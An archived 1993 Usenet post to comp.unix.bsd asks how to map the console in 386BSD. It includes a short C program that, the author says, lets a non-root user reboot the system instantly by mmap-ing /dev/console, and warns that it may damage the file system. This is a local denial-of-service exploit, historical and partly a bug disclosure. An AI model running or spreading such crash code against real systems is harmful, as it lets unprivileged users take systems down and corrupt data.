*BSD News Article 10787


Return to BSD News archive

Received: by minnie.vk1xwt.ampr.org with NNTP
	id AA678 ; Sat, 06 Feb 93 20:00:53 EST
Path: sserve!manuel.anu.edu.au!munnari.oz.au!spool.mu.edu!uwm.edu!cs.utexas.edu!qt.cs.utexas.edu!yale.edu!ira.uka.de!math.fu-berlin.de!mailgzrz.TU-Berlin.DE!news.netmbx.de!Germany.EU.net!mcsun!news.funet.fi!fuug!kiae!relcom!newsserv
From: dima@apg.kiae.su (Dima Ruban)
Newsgroups: comp.unix.bsd
Subject: [386BSD] How to map console?
Date: Thu, 04 Feb 93 20:33:58 +0200
Distribution: world
Organization: SPNA group
Message-ID: <ABM6MShy70@cc.kbgu.nalchik.su>
Sender: news-service@newcom.kiae.su
Reply-To: dima@apg.kiae.su
Lines: 27

Hi over there!

Does anybody know how to map console in 386bsd?

BTW. If you want to reboot system (very fast) and you are not root,
you may use the following program:
-----
#include <sys/types.h>
#include <sys/mman.h>

main()
{
       int fd;
       char buf[4096];

       fd = open("/dev/console", 2);
       mmap(0,4096,PROT_READ,MAP_FILE,fd,0);
}

P.S. This text may cause distruction of file system.
-- 
..      Dmitry Ruban ( Russia, Kabardino-Balkarian State University )         .
.. Voice:+8 (86600) 76466                                                     .
..    INET : dima%apg.kiae.su@relay.eu.net     EUnet:dima@apg.kiae.su         .
.....................                                     .....................